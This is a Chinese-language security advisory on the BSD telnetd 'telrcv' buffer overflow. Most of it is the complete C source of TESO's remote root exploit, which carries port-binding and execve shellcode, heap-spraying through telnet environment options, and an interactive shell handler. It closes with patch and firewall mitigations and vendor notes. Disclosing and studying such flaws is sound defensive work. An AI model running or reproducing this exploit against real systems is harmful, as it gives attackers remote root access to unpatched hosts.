描述：
来自BSD源码的telnetd 进程存在缓冲区溢出漏洞。它在处理Telnet协议时，"telrcv" 函数的结果存放在一个固定的缓冲区中。它假定了结果是小于缓冲区的，并且没有做任何边界检查。
此漏洞由TESO小组发现。攻击程序也已经公布，很多操作系统受此影响。

欲知更多信息，请访问：
http://www.team-teso.net/advisories/teso-advisory-011.tar.gz.

影响：
入侵者可以以Telnetd运行时权限来执行恶意代码，一般为root权限

测试代码：
以下代码仅仅用来测试和研究这个漏洞，如果您将其用于不正当的途径请后果自负

/* 7350854 - x86/bsd telnetd remote root exploit
*
* TESO CONFIDENTIAL - SOURCE MATERIALS
*
* This is unpublished proprietary source code of TESO Security.
*
* The contents of these coded instructions, statements and computer
* programs may not be disclosed to third parties, copied or duplicated in
* any form, in whole or in part, without the prior written permission of
* TESO Security. This includes especially the Bugtraq mailing list, the
* http://www.hack.co.za/ website and any public exploit archive.
*
* (C) COPYRIGHT TESO Security, 2001
* All Rights Reserved
*
*****************************************************************************
* bug found by scut 2001/06/09
* further research by smiler, zip, lorian and me.
* thanks to zip's cool friend for giving me a testbed to play on
*
* tested against: BSDI BSD/OS 4.1
* NetBSD 1.5
* FreeBSD 3.1
* FreeBSD 4.0-REL
* FreeBSD 4.2-REL
* FreeBSD 4.3-BETA
* FreeBSD 4.3-STABLE
* FreeBSD 4.3-RELEASE
*
*/

#define VERSION "0.0.7"

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

/* global variables, uhhohh!
*/
int mode = 16;
int num = 245;
int pop = 31500; /* puts code at 0x08fdff0a */
int bs = 1; /* buffer start */

int num34 = 244;
int pop34 = 71833; /* puts code at 0x0a0d08fe */
int bs34 = 0;

int walk; /* populator walker */
int force = 0; /* force exploitation */
int checkonly = 0; /* check telnetd only */

void usage (char *progname);
int xp_check (int fd);
void xp_pop (int fd);
void xp_shrinkwin (int fd);
void xp_setenv (int fd, unsigned char *var, unsigned char *val);
void xp (int fd);
void shell (int sock);
void hexdump (char *desc, unsigned char *data, unsigned int amount);

/* imported from shellkit */
unsigned long int random_get (unsigned long int low, unsigned long int high);
void random_init (void);
int bad (unsigned char u);
int badstr (unsigned char *code, int code_len, unsigned char *bad,
int bad_len);
unsigned long int x86_nop_rwreg (void);
unsigned long int x86_nop_xfer (char *xferstr);
unsigned int x86_nop (unsigned char *dest, unsigned int dest_len,
unsigned char *bad, int bad_len);

#define BSET(dest, len, val, bw) { \
dest &= ~(((unsigned char) ~0) >> bw); /* clear lower bits */ \
dest |= val << (8 - bw - len); /* set value bits */ \
bw += len; \
}

/* imported from network.c */
#define NET_CONNTIMEOUT 60
int net_conntimeout = NET_CONNTIMEOUT;

unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec);

/* x86/bsd PIC portshell shellcode
* by lorian/teso
* port 0x4444 (might want to change it here)
*/
unsigned char x86_bsd_portshell[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
"\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
/* ^^ ^^ port */
"\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
"\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
"\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
"\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
"\x80";

/* x86/bsd PIC execve shellcode
* by lorian/teso
*/
unsigned char x86_bsd_execvesh[] =
"\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";

/* x86/bsd(i)+solaris execve shellcode
* by lorian/teso
*/
unsigned char x86_bsd_compaexec[] =
"\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0"
"\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b"
"\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7";

unsigned char * shellcode = x86_bsd_compaexec;

#define COL 55

void
usage (char *progname)
{
fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname);
fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n"
"-c\tcheck exploitability only, do not exploit\n"
"-f\tforce mode, override check results\n\n");
fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n"
"send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n"
"take that, or it will take very long for it (> 1h). beware.\n\n");

fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n"
"\tNetBSD 1.5\n"
"\tBSDI BSD/OS 4.1\n\n");

exit (EXIT_FAILURE);
}

int
main (int argc, char *argv[])
{
char c;
char * progname;
char * dest;
int i, j, fd,
dots = 0;
int popc;
struct timeval start,
cur;
unsigned long long int g_pct, /* gaussian percentage */
g_all; /* gaussian overall */

fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
"by zip, lorian, smiler and scut.\n\n");

progname = argv[0];
if (argc < 2)
usage (progname);

while ((c = getopt (argc, argv, "n:cf")) != EOF) {
switch (c) {
case 'n':
num = atoi (optarg);
break;
case 'c':
checkonly = 1;
break;
case 'f':
force = 1;
break;
default:
usage (progname);
break;
}
}

dest = argv[argc - 1];
if (dest[0] == '-')
usage (progname);

fd = net_connect (NULL, dest, 23, 20);
if (fd <= 0) {
fprintf (stderr, "failed to connect\n");
exit (EXIT_FAILURE);
}

random_init ();

if (xp_check (fd) == 0 && force == 0) {
printf ("aborting\n");
#ifndef DEBUG
exit (EXIT_FAILURE);
#endif
}
close (fd);

if (checkonly)
exit (EXIT_SUCCESS);

fd = net_connect (NULL, dest, 23, 20);
if (fd <= 0) {
fprintf (stderr, "failed to connect the second time\n");
exit (EXIT_FAILURE);
}

printf ("\n#################################################
############################\n\n");
printf ("ok baby, times are rough, we send %dmb traffic to the remote\n"
"telnet daemon process, it will spill badly. but then, there is no\n"
"other way, sorry...\n\n", mode);

#ifdef DEBUG
getchar ();
#endif
printf ("## setting populators to populate heap address space\n");

g_all = ((unsigned long long int)(pop / 2)) *
((unsigned long long int)(pop + 1));
g_pct = 0;

printf ("## number of setenvs (dots / network): %d\n", pop);
printf ("## number of walks (percentage / cpu): %Lu\n", g_all);
printf ("##\n");
printf ("## the percentage is more realistic than the dots \n");
printf ("\n");
printf ("percent |");

popc = pop / COL;
for (i = pop / popc ; i >= 0 ; --i)
printf ("-");
printf ("| ETA |\n");

gettimeofday (&start, NULL);

for (walk = 0 ; walk < pop ; ++walk) {
xp_pop (fd);

g_pct += walk;

if (walk % popc == 0)
dots += 1;

if (walk % 200 == 0) {
int pct;
float pct_f;
unsigned long int diff;

pct = (int) ((g_pct * 100) / g_all);
pct_f = g_pct * 100;
pct_f /= (float) g_all;

/* calculate difference not caring about accuracy */
gettimeofday (&cur, NULL);
diff = cur.tv_sec - start.tv_sec;

printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ?
"\r %2.2f%% |" : "\r %1.2f%% |"), pct_f);
for (j = 0 ; j < dots ; ++j)
printf (".");
for ( ; j <= COL ; ++j)
printf (" ");

if (pct != 0) {
diff = (int) ((((float)(100 - pct_f)) /
(float) pct_f) * diff);
printf ("| %02lu:%02lu:%02lu |",
diff / 3600, (diff % 3600) / 60,
diff % 60);
} else {
printf ("| --:--:-- |");
}

fflush (stdout);
}
}
printf ("\n\n");

printf ("## sleeping for 10 seconds to let the process recover\n");
sleep (10);

#ifdef DEBUG
getchar ();
#endif
/* return into 0x08feff0a */
xp (fd);
sleep (1);

printf ("## ok, you should now have a root shell\n");
printf ("## as always, after hard times, there is a reward...\n");
printf ("\n\ncommand: ");
fflush (stdout);

shell (fd);

exit (EXIT_SUCCESS);
}

void
xp (int fd)
{
int n;
unsigned char buf[2048];

/* basic overflow */
for (n = bs ; n < sizeof (buf) ; ++n)
buf[n] = (n - bs) % 2 ? '\xf6' : '\xff';

/* some nifty alignment */
buf[0] = '\xff'; /* IAC */
buf[1] = '\xf5'; /* AO */

if (mode == 16) {
buf[2] = '\xff'; /* IAC */
buf[3] = '\xfb'; /* WILL */
buf[4] = '\x26'; /* ENCRYPTION */
}

/* force 0x08feff0a as return */
buf[num++] = '\xff';
buf[num++] = '\xfb';
buf[num++] = '\x08';

/* and the output_encrypt overwrite action, yay! */
buf[num++] = '\xff';
buf[num++] = '\xf6';

/* XXX: should not fail here, though we should better loop and check */
n = send (fd, buf, num, 0);
if (n != num) {
perror ("xp:send");
}
}

#ifdef INSANE_MIND

void
xp_shrinkwin (int fd)
{
int n;
int iobc;
int p = 0;
unsigned char buf[2048];
char c;
int val;
int len;

for (n = 0 ; n < sizeof (buf) ; ++n)
buf[n] = n % 2 ? '\xf6' : '\xff';

len = sizeof (val);
getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
printf ("SO_SNDLOWAT = %d\n", val);
val = 1;
printf ("setsockopt: %s\n",
setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ?
"FAILED" : "SUCCESS");
val = 1234;
getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
printf ("SO_SNDLOWAT = %d\n", val);

getchar();
while (1) {
if (p > 105)
c = getchar();
if (c == 'r') {
getchar();
read (fd, &buf[1024], 384);
} else if (c == 'o') {
getchar();
send (fd, "7", 1, MSG_OOB);
} else if (c != 'r') {
usleep(100000);
n = send (fd, buf, 112, 0);
ioctl (fd, FIONREAD, &iobc);
len = sizeof (val);
getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len);
printf ("%02d. send: %d local: %d/%d (%d left)\n",
++p, n, iobc, val, val - iobc);
}
}
}
#endif

/* xp_pop - populator function
*
* causes remote telnet daemon to setenv() variables with our content, populating
* the heap with shellcode. this will get us more nopspace and place our shellcode
* where the nice addresses are, that we can create by writing telnet option
* strings.
*
* XXX: there seems to be a maximum size for the environment value you can set,
* which is 510. we use 496 bytes for nopspace and shellcode therefore.
* should work, rather similar to tsig tcp/malloc exploitation. -sc
*/

void
xp_pop (int fd)
{
unsigned char var[16];
unsigned char storebuf[496];
sprintf (var, "%06x", walk);
#ifdef DEBUG
memset (storebuf, '\xcc', sizeof (storebuf));
#else
/* memset (storebuf, '\x90', sizeof (storebuf)); */
x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1,
shellcode, strlen (shellcode));
#endif
storebuf[sizeof (storebuf) - 1] = '\0';

xp_setenv (fd, var, storebuf);
}

void
xp_setenv (int fd, unsigned char *var, unsigned char *val)
{
int n = 0;
unsigned char buf[2048];

buf[n++] = IAC;
buf[n++] = SB;
buf[n++] = TELOPT_NEW_ENVIRON;
buf[n++] = TELQUAL_IS;
buf[n++] = ENV_USERVAR;

/* should not contain < 0x04 */
while (*var) {
if (*var == IAC)
buf[n++] = *var;
buf[n++] = *var++;
}
buf[n++] = NEW_ENV_VALUE;
while (*val) {
if (*val == IAC)
buf[n++] = *val;
buf[n++] = *val++;
}
buf[n++] = IAC;
buf[n++] = SE;

if (send (fd, buf, n, 0) != n) {
perror ("xp_setenv:send");
exit (EXIT_FAILURE);
}
}

int
xp_check (int fd)
{
int n;
unsigned int expect_len = 15;
unsigned char expected[] =
"\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26";
/* \r \n [ Y e s ] \r \n IAC DONT 08 IAC DO 26*/
unsigned int additional_len = 8;
unsigned char additional[] =
"\xff\xfa\x26\x01\x01\x02\xff\xf0";
/*IAC SB ENC ........... IAC SE */

unsigned char buf[128];

read (fd, buf, sizeof (buf));

n = 0;
buf[n++] = IAC; /* 0xff */
buf[n++] = AYT; /* 0xf6 */

buf[n++] = IAC; /* 0xff */
buf[n++] = WILL; /* 0xfb */
buf[n++] = TELOPT_NAOL; /* 0x08 */

buf[n++] = IAC; /* 0xff */
buf[n++] = WILL; /* 0xfb */
buf[n++] = TELOPT_ENCRYPT; /* 0x26 */

#ifdef DEBUG
hexdump ("check send buffer", buf, n);
#endif
if (send (fd, buf, n, 0) != n) {
perror ("xp_check:send");
exit (EXIT_FAILURE);
}

n = read (fd, buf, sizeof (buf));
#ifdef DEBUG
hexdump ("check recv buffer", buf, n);
#endif

if (memcmp (buf, expected, expect_len) == 0) {
if (memcmp (buf+expect_len, additional, additional_len) == 0) {
mode = 16;
} else {
mode = 34;
bs = bs34;
}
printf ("check: PASSED, using %dmb mode\n", mode);

return (1);
}

printf ("check: FAILED\n");

return (0);
}

void
shell (int sock)
{
int l;
char buf[512];
fd_set rfds;

while (1) {
FD_SET (0, &rfds);
FD_SET (sock, &rfds);

select (sock + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0) {
perror ("read user");
exit (EXIT_FAILURE);
}
write (sock, buf, l);
}

if (FD_ISSET (sock, &rfds)) {
l = read (sock, buf, sizeof (buf));
if (l <= 0) {
perror ("read remote");
exit (EXIT_FAILURE);
}
write (1, buf, l);
}
}
}

/* ripped from zodiac */
void
hexdump (char *desc, unsigned char *data, unsigned int amount)
{
unsigned int dp, p; /* data pointer */
const char trans[] =
"................................ !\"#$%&'()*+,-./0123456789"
":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
"nopqrstuvwxyz{|}~...................................."
"....................................................."
"........................................";

printf ("/* %s, %u bytes */\n", desc, amount);

for (dp = 1; dp <= amount; dp++) {
fprintf (stderr, "%02x ", data[dp-1]);
if ((dp % 8) == 0)
fprintf (stderr, " ");
if ((dp % 16) == 0) {
fprintf (stderr, "| ");
p = dp;
for (dp -= 16; dp < p; dp++)
fprintf (stderr, "%c", trans[data[dp]]);
fflush (stderr);
fprintf (stderr, "\n");
}
fflush (stderr);
}
if ((amount % 16) != 0) {
p = dp = 16 - (amount % 16);
for (dp = p; dp > 0; dp--) {
fprintf (stderr, " ");
if (((dp % 8) == 0) && (p != 8))
fprintf (stderr, " ");
fflush (stderr);
}
fprintf (stderr, " | ");
for (dp = (amount - (16 - p)); dp < amount; dp++)
fprintf (stderr, "%c", trans[data[dp]]);
fflush (stderr);
}
fprintf (stderr, "\n");

return;
}

unsigned long int
net_resolve (char *host)
{
long i;
struct hostent *he;

i = inet_addr(host);
if (i == -1) {
he = gethostbyname(host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
}
}
return (i);
}

int
net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec)
{
int n,
len,
error,
flags;
int fd;
struct timeval tv;
fd_set rset, wset;
struct sockaddr_in csa;

if (cs == NULL)
cs = &csa;

/* first allocate a socket */
cs->sin_family = AF_INET;
cs->sin_port = htons (port);
fd = socket (cs->sin_family, SOCK_STREAM, 0);
if (fd == -1)
return (-1);

if (!(cs->sin_addr.s_addr = net_resolve (server))) {
close (fd);
return (-1);
}

flags = fcntl (fd, F_GETFL, 0);
if (flags == -1) {
close (fd);
return (-1);
}
n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
if (n == -1) {
close (fd);
return (-1);
}

error = 0;

n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
if (n < 0) {
if (errno != EINPROGRESS) {
close (fd);
return (-1);
}
}
if (n == 0)
goto done;

FD_ZERO(&rset);
FD_ZERO(&wset);
FD_SET(fd, &rset);
FD_SET(fd, &wset);
tv.tv_sec = sec;
tv.tv_usec = 0;

n = select(fd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
close(fd);
errno = ETIMEDOUT;
return (-1);
}
if (n == -1)
return (-1);

if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
len = sizeof(error);
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
errno = ETIMEDOUT;
return (-1);
}
if (error == 0) {
goto done;
} else {
errno = error;
return (-1);
}
}
} else
return (-1);

done:
n = fcntl(fd, F_SETFL, flags);
if (n == -1)
return (-1);
return (fd);
}

/* imported from shellkit */

unsigned long int
random_get (unsigned long int low, unsigned long int high)
{
unsigned long int val;

if (low > high) {
low ^= high;
high ^= low;
low ^= high;
}

val = (unsigned long int) random ();
val %= (high - low);
val += low;

return (val);
}

void
random_init (void)
{
srandom (time (NULL));
}

int
bad (unsigned char u)
{
if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25')
return (1);

return (0);
}

int
badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len)
{
int n;

for (code_len -= 1 ; code_len >= 0 ; --code_len) {
for (n = 0 ; n < bad_len ; ++n)
if (code[code_len] == bad[n])
return (1);
}

return (0);
}

unsigned long int
x86_nop_rwreg (void)
{
unsigned long int reg;

do {
reg = random_get (0, 7);
} while (reg == 4); /* 4 = $esp */

return (reg);
}

unsigned long int
x86_nop_xfer (char *xferstr)
{
int bw = 0; /* bitfield walker */
unsigned char tgt; /* resulting instruction */

/* in a valid xferstr we trust */
for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) {
switch (xferstr[0]) {
case ('0'):
BSET (tgt, 1, 0, bw);
break;
case ('1'):
BSET (tgt, 1, 1, bw);
break;
case ('r'):
BSET (tgt, 3, x86_nop_rwreg (), bw);
break;
case ('.'):
break; /* ignore */
default:
fprintf (stderr, "on steroids, huh?\n");
exit (EXIT_FAILURE);
break;
}
}

if (bw != 8) {
fprintf (stderr, "invalid bitwalker: bw = %d\n", bw);
exit (EXIT_FAILURE);
}

return (tgt);
}

unsigned int
x86_nop (unsigned char *dest, unsigned int dest_len,
unsigned char *bad, int bad_len)
{
int walk;
int bcount; /* bad counter */
char * xs;
char * xferstr[] = {
"0011.0111", /* aaa */
"0011.1111", /* aas */
"1001.1000", /* cbw */
"1001.1001", /* cdq */
"1111.1000", /* clc */
"1111.1100", /* cld */
"1111.0101", /* cmc */
"0010.0111", /* daa */
"0010.1111", /* das */
"0100.1r", /* dec <reg> */
"0100.0r", /* inc <reg> */
"1001.1111", /* lahf */
"1001.0000", /* nop */
"1111.1001", /* stc */
"1111.1101", /* std */
"1001.0r", /* xchg al, <reg> */
NULL,
};
unsigned char tgt;

for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) {
/* avoid endless loops on excessive badlisting */
for (bcount = 0 ; bcount < 16384 ; ++bcount) {
xs = xferstr[random_get (0, 15)];
tgt = x86_nop_xfer (xs);

dest[walk] = tgt;
if (badstr (&dest[walk], 1, bad, bad_len) == 0)
break;
}

/* should not happen */
if (bcount >= 16384) {
fprintf (stderr, "too much blacklisting, giving up...\n");
exit (EXIT_FAILURE);
}
}

return (walk);
}

解决措施：
1． 打补丁。后面附有相关厂商的补丁信息。
2． 应用防火墙和包过滤工具限制Telnet的访问。

厂商信息

BSDI
所有BSD系统都存在此漏洞。补丁站点：
http://www.bsdi.com/services/support/patches
ftp://ftp.bsdi.com/bsdi/support/patches

Cisco Systems
Cisco IOS不受此影响。但某些非IOS产品可能有此漏洞。请随时关注
http://www.cisco.com/go/psirt/.

FreeBSD
所有FreeBSD版本都存在此漏洞。2001年7月23日发布的FreeBSD 4.3-STABLE和reeBSD 3.5.1-STABLE已经修补此漏洞。
请参考：
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:49.telnetd.asc

Hewlett-Packard
正在调查